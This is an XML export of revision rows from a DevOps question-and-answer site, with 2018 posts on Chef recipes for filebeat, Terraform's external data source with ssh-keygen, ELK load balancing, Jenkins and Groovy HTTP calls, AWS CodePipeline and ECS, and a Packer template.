`sudo service filebeat start`&#xD;&#xA;&#xD;&#xA;I want to Automate this using Chef. The Chef environment is ready and working.I want to deploy this binaries on 150 servers. Would be helpfull if someone explain with step by step.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10671" PostHistoryTypeId="5" PostId="3403" RevisionGUID="a1132292-e604-4ab9-a70a-38888571814c" CreationDate="2018-02-21T21:08:42.940" UserId="210" Comment="added 254 characters in body" Text="https://www.google.nl/search?q=how%2Bto%2Bcreate%2Ba%2Bchef%2Bpackage&#xD;&#xA;&#xD;&#xA;returns:&#xD;&#xA;&#xD;&#xA;https://docs.chef.io/resource_package.html&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;https://docs.chef.io/resource_examples.html&#xD;&#xA;&#xD;&#xA;The latter provides code snippets, like how to copy files:&#xD;&#xA;&#xD;&#xA;&gt; **Create a file from a copy**&#xD;&#xA;&gt; &#xD;&#xA;&gt; The following example shows how to copy a file from one directory to&#xD;&#xA;&gt; another, locally on a node:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     file '/root/1.txt' do&#xD;&#xA;&gt;       content IO.read('/tmp/1.txt')&#xD;&#xA;&gt;       action :create&#xD;&#xA;&gt;     end&#xD;&#xA;&#xD;&#xA;More example could be found in [the supermarket][1]. In order to write chef books one could investigate how some recipes are structured like [mysql][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://supermarket.chef.io/cookbooks/mysql&#xD;&#xA;  [2]: https://github.com/chef-cookbooks/mysql" ContentLicense="CC BY-SA 3.0" />
  <row Id="10672" PostHistoryTypeId="2" PostId="3406" RevisionGUID="d2f47313-8e77-478d-8b39-5b5fb704bc12" CreationDate="2018-02-21T21:23:40.120" UserId="13" Text="Very basic recipe exemple to install filebeat on ubuntu (I do use more or less the same approach for elasticsearch, kibana and logstash):&#xD;&#xA;&#xD;&#xA;    apt_repository 'elk' do&#xD;&#xA;      uri 'https://artifacts.elastic.co/packages/5.x/apt'&#xD;&#xA;      distribution 'stable'&#xD;&#xA;      components ['main']&#xD;&#xA;      key 'https://artifacts.elastic.co/GPG-KEY-elasticsearch'&#xD;&#xA;      cache_rebuild true&#xD;&#xA;    end&#xD;&#xA;    &#xD;&#xA;    package 'filebeat' do&#xD;&#xA;      action :upgrade # To keep up to date with releases from elastic.co&#xD;&#xA;    end&#xD;&#xA;    &#xD;&#xA;    service 'filebeat' do&#xD;&#xA;      action [:enable, :start]&#xD;&#xA;    end&#xD;&#xA;    &#xD;&#xA;    template '/etc/filebeat/filebeat.yml' do&#xD;&#xA;      source 'filebeat.yml.erb'&#xD;&#xA;      mode '0600'&#xD;&#xA;      notifies :restart, 'service[filebeat]'&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;Basically, adding a repository, installing package, enabling and starting the service, render a config and restart the service when it changes. On ubuntu the package set the service scripts so I don't have to manage it here.&#xD;&#xA;&#xD;&#xA;The template is my default configuration using some node attributes depending on environment. See https://docs.chef.io/resource_template.html for more details on how to use them.&#xD;&#xA;&#xD;&#xA;According to your question I would strongly sugest you to follow the tutorial paths at https://learn.chef.io to grasp the basics about chef." ContentLicense="CC BY-SA 3.0" />
  <row Id="10673" PostHistoryTypeId="5" PostId="3404" RevisionGUID="af7b9d36-6f34-4267-b54a-6c218bad0652" CreationDate="2018-02-21T21:49:58.077" UserId="6579" Comment="add update to workaround patch requirement" Text="I would recommend against importing if at all possible. You can use built-in functionality to achieve the same results. Also be aware of &quot;[In-process Script Approval][1]&quot;&#xD;&#xA;&#xD;&#xA;https://stackoverflow.com/a/42662243/1678094&#xD;&#xA;&#xD;&#xA;&lt;!-- language-all: lang-java --&gt;&#xD;&#xA;&#xD;&#xA;    // GET&#xD;&#xA;    def get = new URL(&quot;https://httpbin.org/get&quot;).openConnection();&#xD;&#xA;    def getRC = get.getResponseCode();&#xD;&#xA;    println(getRC);&#xD;&#xA;    if(getRC.equals(200)) {&#xD;&#xA;        println(get.getInputStream().getText());&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    // POST&#xD;&#xA;    def post = new URL(&quot;https://httpbin.org/post&quot;).openConnection();&#xD;&#xA;    def message = '{&quot;message&quot;:&quot;this is a message&quot;}'&#xD;&#xA;    post.setRequestMethod(&quot;POST&quot;)&#xD;&#xA;    post.setDoOutput(true)&#xD;&#xA;    post.setRequestProperty(&quot;Content-Type&quot;, &quot;application/json&quot;)&#xD;&#xA;    post.getOutputStream().write(message.getBytes(&quot;UTF-8&quot;));&#xD;&#xA;    def postRC = post.getResponseCode();&#xD;&#xA;    println(postRC);&#xD;&#xA;    if(postRC.equals(200)) {&#xD;&#xA;        println(post.getInputStream().getText());&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;You can also override the request method:&#xD;&#xA;&#xD;&#xA;https://stackoverflow.com/a/32503192/1678094&#xD;&#xA;&#xD;&#xA;    conn.setRequestProperty(&quot;X-HTTP-Method-Override&quot;, &quot;PATCH&quot;);&#xD;&#xA;    conn.setRequestMethod(&quot;POST&quot;);&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/doc/book/managing/script-approval/" ContentLicense="CC BY-SA 3.0" />
  <row Id="10674" PostHistoryTypeId="2" PostId="3407" RevisionGUID="27a6c31c-d9ce-4c27-ab9f-f0d5c20dffad" CreationDate="2018-02-21T22:08:59.040" UserId="6609" Text="if i have filebeat -&gt; logstash -&gt; elasticsearch pipeline with TLS or HTTPS encryption , is it possible to load balance between 2 destination elasticsearch clusters in active-standby ?  &#xD;&#xA;what i mean is, in case one of the clusters goes down i would manually or automatically switch all the data streams to the other cluster.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;im looking at various proxy setups but im not sure i understand the terms correctly, and TLS would not solve the problem." ContentLicense="CC BY-SA 3.0" />
  <row Id="10675" PostHistoryTypeId="1" PostId="3407" RevisionGUID="27a6c31c-d9ce-4c27-ab9f-f0d5c20dffad" CreationDate="2018-02-21T22:08:59.040" UserId="6609" Text="Is it possible to load balance TLS/SSL based logstash communication to elasticsearch?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10676" PostHistoryTypeId="3" PostId="3407" RevisionGUID="27a6c31c-d9ce-4c27-ab9f-f0d5c20dffad" CreationDate="2018-02-21T22:08:59.040" UserId="6609" Text="&lt;load-balance&gt;&lt;logstash&gt;&lt;ssl&gt;&lt;elastic&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10679" PostHistoryTypeId="2" PostId="3408" RevisionGUID="9e0ad158-d01a-46c7-bd13-0e6ba02e2a15" CreationDate="2018-02-22T04:37:05.797" UserId="6620" Text="I seem to be confused about how [external][1] works. I tried:&#xD;&#xA;&#xD;&#xA;    data &quot;external&quot; &quot;local_key&quot; {&#xD;&#xA;      program = [&#xD;&#xA;        &quot;ssh-keygen&quot;, &quot;-y&quot;, &quot;-f ~/.ssh/id_rsa&quot;&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This gives me:&#xD;&#xA;&#xD;&#xA;&gt; failed to execute &quot;ssh-keygen&quot;:  ~/.ssh/id_rsa: No such file or directory&#xD;&#xA;&#xD;&#xA;Which presumably happens because `~` expansion doesn't. `ssh-keygen -y -f ~/.ssh/id_rsa` works normally. So instead I tried invoking bash like:&#xD;&#xA;&#xD;&#xA;    data &quot;external&quot; &quot;local_key&quot; {&#xD;&#xA;      program = [&#xD;&#xA;        &quot;bash&quot;&#xD;&#xA;      ]&#xD;&#xA;    &#xD;&#xA;      query {&#xD;&#xA;        &quot;-c&quot; = &quot;ssh-keygen -y -f ~/.ssh/id_rsa&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I'm still getting the same issue. I realize I can just pass it as a var to terraform from the outside, but I'm still curious what the solution is.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/providers/external/index.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="10680" PostHistoryTypeId="1" PostId="3408" RevisionGUID="9e0ad158-d01a-46c7-bd13-0e6ba02e2a15" CreationDate="2018-02-22T04:37:05.797" UserId="6620" Text="How can I get terraforms extern to execute `ssh-keygen -y -f ~/.ssh/id_rsa`?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10681" PostHistoryTypeId="3" PostId="3408" RevisionGUID="9e0ad158-d01a-46c7-bd13-0e6ba02e2a15" CreationDate="2018-02-22T04:37:05.797" UserId="6620" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10682" PostHistoryTypeId="5" PostId="3408" RevisionGUID="6ca161bf-5b9d-4761-8636-d4323db8ee9c" CreationDate="2018-02-22T04:50:33.883" UserId="6620" Comment="added 8 characters in body" Text="I seem to be confused about how [external][1] works. I tried:&#xD;&#xA;&#xD;&#xA;    data &quot;external&quot; &quot;local_key&quot; {&#xD;&#xA;      program = [&#xD;&#xA;        &quot;ssh-keygen&quot;, &quot;-y&quot;, &quot;-f ~/.ssh/id_rsa&quot;&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This gives me:&#xD;&#xA;&#xD;&#xA;&gt; failed to execute &quot;ssh-keygen&quot;:  ~/.ssh/id_rsa: No such file or directory&#xD;&#xA;&#xD;&#xA;Which presumably happens because `~` expansion doesn't. `ssh-keygen -y -f ~/.ssh/id_rsa` works normally. So instead I tried invoking bash like:&#xD;&#xA;&#xD;&#xA;    data &quot;external&quot; &quot;local_key&quot; {&#xD;&#xA;      program = [&#xD;&#xA;        &quot;bash&quot;&#xD;&#xA;      ]&#xD;&#xA;    &#xD;&#xA;      query {&#xD;&#xA;        &quot;-c&quot; = &quot;ssh-keygen -y -f ~/.ssh/id_rsa&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I'm still getting the same issue. I realize I can just pass the output as a var to terraform from the outside, but I'm still curious what the solution is.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/providers/external/index.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="10683" PostHistoryTypeId="2" PostId="3409" RevisionGUID="aaf2fc98-700c-46bb-aece-a5aa70dba11d" CreationDate="2018-02-22T08:17:56.200" UserId="47" Text="Note: this answer is based solely on documentation, I didn't try it.&#xD;&#xA;&#xD;&#xA;From [External Data Source][1] (emphasis mine):&#xD;&#xA;&#xD;&#xA;&gt; The following arguments are supported:&#xD;&#xA;&gt; &#xD;&#xA;&gt; - [program][2] - (Required) A list of strings, whose first element is the program to run and whose subsequent elements are optional command&#xD;&#xA;&gt; line arguments to the program. **Terraform does not execute the&#xD;&#xA;&gt; program through a shell**, so it is not necessary to escape shell&#xD;&#xA;&gt; metacharacters nor add quotes around arguments containing spaces.&#xD;&#xA;&#xD;&#xA;Expanding `~` to the home directory is a capability of the shell, not of `ssh-keygen` and since in the 1st example `ssh-keygen` is invoked, it literally attempts to open a file named `~/.ssh/id_rsa`. Which fails because a `~` directory doesn't exist (I'm not sure if that's what you mean by `presumably happens because ~ expansion doesn't`).&#xD;&#xA;&#xD;&#xA;In the 2nd example you're passing the `ssh-keygen` command as a query, not as arguments to `bash`. Probably what's executed is not what you're expecting.&#xD;&#xA;&#xD;&#xA;I'd try:&#xD;&#xA;&#xD;&#xA;    data &quot;external&quot; &quot;local_key&quot; {&#xD;&#xA;      program = [&#xD;&#xA;        &quot;bash&quot;, &quot;-c&quot;, &quot;ssh-keygen&quot;, &quot;-y&quot;, &quot;-f ~/.ssh/id_rsa&quot;&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;But I'm not sure if `bash` itself (or `ssh-keygen` for that matter) follows the External Program Protocol required  (also on the above referenced page). You may need to write your own script to wrap the cmd you desire while also providing the data according to the protocol. Invoke that script as the program instead of `bash` or `ssh-keygen`.&#xD;&#xA;&#xD;&#xA;Finally, the entire external data source page doesn't appear to suggest that `export` would be designed for interactive programs and `ssh-keygen -y -f ~/.ssh/id_rsa` asks for the user passphrase interactively. YMMV.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/providers/external/data_source.html&#xD;&#xA;  [2]: https://www.terraform.io/docs/providers/external/data_source.html#program" ContentLicense="CC BY-SA 3.0" />
  <row Id="10684" PostHistoryTypeId="2" PostId="3410" RevisionGUID="b050c8ad-daa8-430c-bc5c-75002bbab436" CreationDate="2018-02-22T09:02:19.363" UserId="13" Text="So what happens in first case is, as Dan's already said, there's no shell used and as such nothing to expand the `~`. Quoting the [documentation about program](https://www.terraform.io/docs/providers/external/data_source.html#program):&#xD;&#xA;&#xD;&#xA;&gt; Terraform does not execute the program through a shell&#xD;&#xA;&#xD;&#xA;On the second case, bash receive in stdin something like this:&#xD;&#xA;&#xD;&#xA;    { &quot;-c&quot;: &quot;ssh-keygen -y -f ~/.ssh/id_rsa&quot; }&#xD;&#xA;&#xD;&#xA;And this looks like a command block for bash, but -c is not a valid command.&#xD;&#xA;&#xD;&#xA;What could work could be this kind of program (assuming no specific input):&#xD;&#xA;&#xD;&#xA;    jq -n --arg pubkey &quot;$(ssh-keygen -y -f ~/.ssh/id_rsa)&quot; '{&quot;pubkey&quot;:$pubkey}'&#xD;&#xA;&#xD;&#xA;So something like this should work to get the key in `local_key[&quot;pubkey&quot;]` if I understand the documentation properly:&#xD;&#xA;&#xD;&#xA;    data &quot;external&quot; &quot;local_key&quot; {&#xD;&#xA;      program = [&#xD;&#xA;        &quot;bash&quot;, &quot;-c jq -n --arg pubkey \&quot;$(ssh-keygen -y -f ~/.ssh/id_rsa)\&quot; '{\&quot;pubkey\&quot;:$pubkey}'&quot;&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;There's a need to use bash for a one liner to take advantage of command subsitution. You can also do a .sh script like:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    jq -n --arg pubkey &quot;$(ssh-keygen -y -f ~/.ssh/id_rsa)&quot; '{\&quot;pubkey\&quot;:$pubkey}'&#xD;&#xA;&#xD;&#xA;And call this script in the `program` parameter." ContentLicense="CC BY-SA 3.0" />
  <row Id="10686" PostHistoryTypeId="2" PostId="3411" RevisionGUID="10608aa0-0754-4821-b2ac-3785ff44bbee" CreationDate="2018-02-22T13:46:40.917" UserId="707" Text="I know for example following DevOps relevant concepts related to time:&#xD;&#xA;&#xD;&#xA;* MTTR - mean time to recovery&#xD;&#xA;* Sprint length - fixed agreed time to hand over features to customer (what this specificall implies is part of DoD I think)&#xD;&#xA;&#xD;&#xA;Now my question - how do you name the lead time from a code commit hitting the repository to a first running deployment where you could do a first acceptance test to the feature? To a production system?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10687" PostHistoryTypeId="1" PostId="3411" RevisionGUID="10608aa0-0754-4821-b2ac-3785ff44bbee" CreationDate="2018-02-22T13:46:40.917" UserId="707" Text="What is the proper term for lead time from commit to deployment?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10688" PostHistoryTypeId="3" PostId="3411" RevisionGUID="10608aa0-0754-4821-b2ac-3785ff44bbee" CreationDate="2018-02-22T13:46:40.917" UserId="707" Text="&lt;terminology&gt;&lt;continuous-delivery&gt;&lt;metrics&gt;&lt;speed&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10690" PostHistoryTypeId="2" PostId="3413" RevisionGUID="2635d6ec-298a-431c-9769-7ce09c63b9d5" CreationDate="2018-02-22T15:46:19.043" UserId="6629" Text="I'm using simple docker-compose container images. Here's my `docker-compose.yml`&#xD;&#xA;&#xD;&#xA;        version: '2'&#xD;&#xA;&#xD;&#xA;        services:&#xD;&#xA;          db:&#xD;&#xA;            image: postgres:10.2&#xD;&#xA;            ports:&#xD;&#xA;              - &quot;5432:5432&quot;&#xD;&#xA;            environment:&#xD;&#xA;              ... skipped for brevity&#xD;&#xA;            volumes:&#xD;&#xA;              - &quot;./server:/docker-entrypoint-initdb.d&quot;&#xD;&#xA;&#xD;&#xA;          postgrest:&#xD;&#xA;            image: postgrest/postgrest&#xD;&#xA;            ports:&#xD;&#xA;              - &quot;3000:3000&quot;&#xD;&#xA;            environment:&#xD;&#xA;             ... skipped for brevity&#xD;&#xA;&#xD;&#xA;          webapp:&#xD;&#xA;            image: node:8.9&#xD;&#xA;            ports:&#xD;&#xA;              - &quot;3001:3001&quot;&#xD;&#xA;            volumes:&#xD;&#xA;              - &quot;./client:/client&quot;&#xD;&#xA;              - &quot;./package.json:/client/package.json&quot;&#xD;&#xA;              - &quot;./node_modules:/client/node_modules&quot;&#xD;&#xA;            environment:&#xD;&#xA;              - API_URL=${API_URL}&#xD;&#xA;            working_dir: /client&#xD;&#xA;            command: npm run dev -- -p 3001&#xD;&#xA;&#xD;&#xA;which I want to deploy to AWS Elasticbeanstalk using CodePipeline. As I don't have any build step (thus no Dockerfile) I'm wondering how to instruct my `buildspec.yml` &#xD;&#xA;&#xD;&#xA;        version: 0.2&#xD;&#xA;&#xD;&#xA;        phases:&#xD;&#xA;          install:&#xD;&#xA;            commands:&#xD;&#xA;              - echo starting on `date`&#xD;&#xA;              - npm install&#xD;&#xA;          pre_build:&#xD;&#xA;            commands:&#xD;&#xA;              - cp .env.example .env&#xD;&#xA;          build:&#xD;&#xA;            commands:&#xD;&#xA;              - docker-compose up -d&#xD;&#xA;&#xD;&#xA;          post_build:&#xD;&#xA;            commands:&#xD;&#xA;              - echo completing on `date`&#xD;&#xA;&#xD;&#xA;to properly build using docker-compose?&#xD;&#xA;&#xD;&#xA;I believe I just need a `Dockerrun.aws.json` https://gist.github.com/altras/9b0fbd6ba39b2de0e83332c4e17f0d0c although CodePipeline is expecting some build artifact:&#xD;&#xA;&#xD;&#xA;[![AWS CodePipeline staging step wants a build artifact][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/71kVz.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="10691" PostHistoryTypeId="1" PostId="3413" RevisionGUID="2635d6ec-298a-431c-9769-7ce09c63b9d5" CreationDate="2018-02-22T15:46:19.043" UserId="6629" Text="How to deploy with AWS CodePipeline a multicontainer docker environment without dockerfile" ContentLicense="CC BY-SA 3.0" />
  <row Id="10692" PostHistoryTypeId="3" PostId="3413" RevisionGUID="2635d6ec-298a-431c-9769-7ce09c63b9d5" CreationDate="2018-02-22T15:46:19.043" UserId="6629" Text="&lt;amazon-web-services&gt;&lt;docker-compose&gt;&lt;dockerfile&gt;&lt;aws-elb&gt;&lt;aws-codedeploy&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10693" PostHistoryTypeId="5" PostId="3413" RevisionGUID="36935491-7bb8-44b1-95e7-68d153d7b1bf" CreationDate="2018-02-22T15:57:45.760" UserId="6629" Comment="Add an ending question" Text="I'm using simple docker-compose container images. Here's my `docker-compose.yml`&#xD;&#xA;&#xD;&#xA;        version: '2'&#xD;&#xA;&#xD;&#xA;        services:&#xD;&#xA;          db:&#xD;&#xA;            image: postgres:10.2&#xD;&#xA;            ports:&#xD;&#xA;              - &quot;5432:5432&quot;&#xD;&#xA;            environment:&#xD;&#xA;              ... skipped for brevity&#xD;&#xA;            volumes:&#xD;&#xA;              - &quot;./server:/docker-entrypoint-initdb.d&quot;&#xD;&#xA;&#xD;&#xA;          postgrest:&#xD;&#xA;            image: postgrest/postgrest&#xD;&#xA;            ports:&#xD;&#xA;              - &quot;3000:3000&quot;&#xD;&#xA;            environment:&#xD;&#xA;             ... skipped for brevity&#xD;&#xA;&#xD;&#xA;          webapp:&#xD;&#xA;            image: node:8.9&#xD;&#xA;            ports:&#xD;&#xA;              - &quot;3001:3001&quot;&#xD;&#xA;            volumes:&#xD;&#xA;              - &quot;./client:/client&quot;&#xD;&#xA;              - &quot;./package.json:/client/package.json&quot;&#xD;&#xA;              - &quot;./node_modules:/client/node_modules&quot;&#xD;&#xA;            environment:&#xD;&#xA;              - API_URL=${API_URL}&#xD;&#xA;            working_dir: /client&#xD;&#xA;            command: npm run dev -- -p 3001&#xD;&#xA;&#xD;&#xA;which I want to deploy to AWS Elasticbeanstalk using CodePipeline. As I don't have any build step (thus no Dockerfile) I'm wondering how to instruct my `buildspec.yml` &#xD;&#xA;&#xD;&#xA;        version: 0.2&#xD;&#xA;&#xD;&#xA;        phases:&#xD;&#xA;          install:&#xD;&#xA;            commands:&#xD;&#xA;              - echo starting on `date`&#xD;&#xA;              - npm install&#xD;&#xA;          pre_build:&#xD;&#xA;            commands:&#xD;&#xA;              - cp .env.example .env&#xD;&#xA;          build:&#xD;&#xA;            commands:&#xD;&#xA;              - docker-compose up -d&#xD;&#xA;&#xD;&#xA;          post_build:&#xD;&#xA;            commands:&#xD;&#xA;              - echo completing on `date`&#xD;&#xA;&#xD;&#xA;to properly build using docker-compose?&#xD;&#xA;&#xD;&#xA;I believe I just need a `Dockerrun.aws.json` https://gist.github.com/altras/9b0fbd6ba39b2de0e83332c4e17f0d0c although CodePipeline is expecting some build artifact:&#xD;&#xA;&#xD;&#xA;[![AWS CodePipeline staging step wants a build artifact][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/71kVz.png&#xD;&#xA;&#xD;&#xA;How did you solve this in your scenario?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10694" PostHistoryTypeId="2" PostId="3414" RevisionGUID="7be35166-b40d-4f06-a29f-4301794034e3" CreationDate="2018-02-22T16:17:52.567" UserId="6131" Text="Have you considered other options? e.g. A discussion my peers and I engaged recently was &quot;time and place&quot;. We use mostly Ansible for deploying servers. Yet some of our team wanted to use Terraform and others argued Cloud Formation. Our discussion concluded why not let Terraform do what it does best and leave the rest to Ansible? In that within the [Terraform user_data][1] section you can call your Ansible Playbooks.  My '**limited**' understanding of Terraform is that its purpose is to deploy services to a limited extent and not be a full on automation drop-in replacement for services like Ansible, Chef, Puppet, etc. As a side note, Ansible has a module to handle the ssh keys generation and plenty more.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/providers/template/index.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="10695" PostHistoryTypeId="2" PostId="3415" RevisionGUID="bfddf3d5-2588-40a4-adb8-d13b72132449" CreationDate="2018-02-22T17:05:20.323" UserId="6630" Text="I have a task-definition which invokes a script that uses environment variables.&#xD;&#xA;&#xD;&#xA;When I start a new task with this definition I have the [option of setting environment variables](https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_ContainerOverride.html#ECS-Type-ContainerOverride-environment).&#xD;&#xA;&#xD;&#xA;However, I need this task-definition to run as a service.  Is there any way to set environment variables for a service?  I [can't find](https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_CreateService.html#API_CreateService_RequestSyntax) documentation of this.&#xD;&#xA;&#xD;&#xA;I need a few dozen of these services running with the only difference being an environment variable.  Of course I could create a different task-definition for each of these services, but that seems like a poor solution." ContentLicense="CC BY-SA 3.0" />
  <row Id="10696" PostHistoryTypeId="1" PostId="3415" RevisionGUID="bfddf3d5-2588-40a4-adb8-d13b72132449" CreationDate="2018-02-22T17:05:20.323" UserId="6630" Text="Setting ECS Environment Variables per Serivce" ContentLicense="CC BY-SA 3.0" />
  <row Id="10697" PostHistoryTypeId="3" PostId="3415" RevisionGUID="bfddf3d5-2588-40a4-adb8-d13b72132449" CreationDate="2018-02-22T17:05:20.323" UserId="6630" Text="&lt;amazon-ecs&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10699" PostHistoryTypeId="2" PostId="3416" RevisionGUID="dba10d1e-49ae-470c-ac6a-d4b7dbe86b8c" CreationDate="2018-02-22T19:06:50.760" UserId="6579" Text="You can pass your data using environment variables or through job parameters. &#xD;&#xA;&#xD;&#xA;Here's an example of setting environment variables in a pipeline:&#xD;&#xA;&#xD;&#xA;&lt;!-- language-all: lang-java --&gt;&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent any&#xD;&#xA;        environment {&#xD;&#xA;            FILE = &quot;Makefile&quot;&#xD;&#xA;            SERVER = &quot;example.com&quot;&#xD;&#xA;            VERSION = &quot;v1.1.0&quot;&#xD;&#xA;        }&#xD;&#xA;        stages {&#xD;&#xA;            stage ('build') {&#xD;&#xA;                steps {&#xD;&#xA;                    echo &quot;VERSION is: $VERSION&quot;&#xD;&#xA;                    bat &quot;script.exe ${version} ${server} ${file}&quot;&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you want to use parameters instead you could do so in the following pipeline example:&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;    pipeline {&#xD;&#xA;      agent any&#xD;&#xA;      parameters {&#xD;&#xA;        string(description: 'file', name: 'file')&#xD;&#xA;        string(description: 'server', name: 'server')&#xD;&#xA;        string(description: 'version', name: 'server')&#xD;&#xA;      }&#xD;&#xA;      stages {&#xD;&#xA;        stage(&quot;foo&quot;) {&#xD;&#xA;          steps {&#xD;&#xA;            echo &quot;VERSION is: ${params.version}&quot;&#xD;&#xA;            bat &quot;script.exe ${params.version} ${params.server} ${params.file}&quot;&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;See the following documentation for building a parameterized pipeline:&#xD;&#xA;https://github.com/jenkinsci/pipeline-model-definition-plugin/wiki/Parametrized-pipelines&#xD;&#xA;&#xD;&#xA;If you're using a freestyle job it's slightly different but you can find detailed instructions here:&#xD;&#xA;https://wiki.jenkins.io/display/JENKINS/Parameterized+Build" ContentLicense="CC BY-SA 3.0" />
  <row Id="10700" PostHistoryTypeId="2" PostId="3417" RevisionGUID="00456f4a-f5e8-470c-9154-370ae26621b8" CreationDate="2018-02-22T19:36:02.560" UserId="2845" Text="You can do this a couple of ways, but you will be unable to do this with a CNAME. &#xD;&#xA;&#xD;&#xA;One option, if you have control over your IP addressing is to use [BGP to fail-over](https://www.techrepublic.com/article/how-to-use-bgp-to-achieve-internet-redundancy/) (or load balance) an IP to your cloud hosting providers.&#xD;&#xA;&#xD;&#xA;A second option is to invest in a DNS-based geographic load balancing solution, such as the [GTM from F5](https://support.f5.com/kb/en-us/products/big-ip_gtm/manuals/product/gtm-concepts-11-3-0/1.html), the [GSLB solution from A10](https://www.a10networks.com/resources/glossary/global-server-load-balancing-gslb), or the [GSLB solution from Kemp](https://kemptechnologies.com/global-server-load-balancing-gslb/) (F5 is the most commonly used in the industry). With these solutions you will set your name server (NS1 and NS2) for your domain to be the GSLB solution of your choice. You will set a very low TTL for your DNS records and configure health monitors to your ELK stack from the GSLB solution. These can be as complex as logging into ELK and scraping for data or as simple as making sure you can establish a TCP connection and/or ping your server. When this health monitor fails, the GSLB solution will failover traffic to the alternate data center automagically. You will be able to do this as an HA pair with one GSLB solution at once DC as NS1 and the other at your secondary site as NS2. The GSLB will then forward lookup to your previous nameservers which will publish IP addresses for both sites. These will be rewritten to eliminate the IP that the GSLB does not want to direct traffic to at the time (again, this can be used for active-active sites - you can even use geolocation to send users in Europe to a Eurpoean cloud provider  and US based users to a US based provider, or do a simple active/standby)&#xD;&#xA;&#xD;&#xA;A final way to do this might be with local load balancing solution, such as [F5's LTM](https://f5.com/products/big-ip/local-traffic-manager-ltm), [A10's SLB](https://www.a10networks.com/products/thunder-series/thunder-application_delivery_controller), or [Kemp's solution](https://kemptechnologies.com/). You may also be able to use [nginx](https://www.nginx.com/resources/admin-guide/reverse-proxy/) for this for a cheap solution. In this scenario, you might have this solution onsite in an office with the URL to the load balancer served up by your local DNS server to a local IP (a Virtual IP) on your load balancer. You would then configure the load balance to direct users to the desired cloud provider by configuring a health monitor (of whatever complexity). You would then need to configure this load balancer to bridge your SSL connection. You would add your certificate and private key to the load balancing solution. Users would establish an encrypted connection to the load balancer. This encryption would be stripped off by the load balancer and a new encrypted connection established to the cloud provider by the load balancer, and the data forwarded along over the new SSL tunnel.&#xD;&#xA;&#xD;&#xA;You probably will never be able to use a CNAME however as the browser will update the URL/DNS record in the address bar when users are redirected to the CNAME. This will cause the users' browser to throw an SSL error for one of the two sites when redirected unless you use two seperate SSL certificates, one for each DNS record or you use a [SAN certificate](https://www.digicert.com/subject-alternative-name.htm) to verify both URLs/DNS records." ContentLicense="CC BY-SA 3.0" />
  <row Id="10701" PostHistoryTypeId="50" PostId="3144" RevisionGUID="a8713f39-b054-4f2f-a05e-aa9edb204bfe" CreationDate="2018-02-22T21:17:24.873" UserId="-1" />
  <row Id="10702" PostHistoryTypeId="2" PostId="3418" RevisionGUID="7fcfda79-f69a-4fa1-87c5-7f69cccb92c0" CreationDate="2018-02-22T21:18:40.093" UserId="2494" Text="I have a Packer template to start with a Docker container and provision it.  The shell script provisioners seem to be working, but, while the playbook runs and seems to succeed, unlike the shell provisioners, it seems to not be applying to the Docker container.&#xD;&#xA;&#xD;&#xA;packer-template.json&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;builders&quot;: [&#xD;&#xA;    		{&#xD;&#xA;    			&quot;type&quot;: &quot;docker&quot;,&#xD;&#xA;    			&quot;image&quot;: &quot;chenjr0719/ubuntu-unity-novnc&quot;,&#xD;&#xA;    			&quot;commit&quot;: &quot;true&quot;&#xD;&#xA;    		}&#xD;&#xA;    	],&#xD;&#xA;       &quot;provisioners&quot;: [&#xD;&#xA;    		{&#xD;&#xA;    			&quot;type&quot;: &quot;shell&quot;,&#xD;&#xA;    			&quot;inline&quot;: [&quot;sudo apt-get update&quot;]&#xD;&#xA;    		},&#xD;&#xA;    		{&#xD;&#xA;    			